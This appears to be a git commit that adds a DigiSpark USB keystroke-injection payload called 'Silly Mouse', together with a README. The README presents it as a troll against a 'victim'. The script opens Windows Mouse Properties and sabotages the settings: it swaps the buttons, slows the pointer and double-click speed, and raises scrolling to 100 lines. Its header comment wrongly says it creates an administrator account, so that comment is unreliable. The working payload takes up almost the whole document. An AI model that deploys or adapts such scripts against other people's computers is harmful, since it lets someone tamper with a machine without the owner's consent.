Added Silly_Mouse script

This commit is contained in:
Tudor Velican 2019-10-24 22:37:50 +02:00
parent f502fa4e6d
commit 5a370e4ad8
2 changed files with 103 additions and 0 deletions

14
Silly_Mouse/README.md Normal file
View File

@ -0,0 +1,14 @@
# Silly Mouse script
Why? Because why not? This is the ultimate troll that messes with your victim's mouse settings to unbearable levels.
Inspired by Caleb Hutchinson's Silly Mouse Ducky Payload from hak5darren/USB-Rubber-Ducky, ported to Windows 10 and made better.
# This script does the following:
1. Opens Mouse Properties
2. Switches primary and secondary buttons
3. Changes double-click speed to slow
4. Displays pointer trails
5. Decreases pointer speed to lowest possible setting
6. Increases Vertical Scroll increment to 100 lines
# Credits
- Vel1khaN

View File

@ -0,0 +1,89 @@
//This DigiSpark script creates new local user and adds it to "Administrators" group
//Tested on Windows 10 with English(US) keyboard layout
//Created by Michyus
#include "DigiKeyboard.h"
void setup() {
#define KEY_TAB 43
#define KEY_ARROW_RIGHT 0x4F
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("main.cpl");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(500);
DigiKeyboard.print("100");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}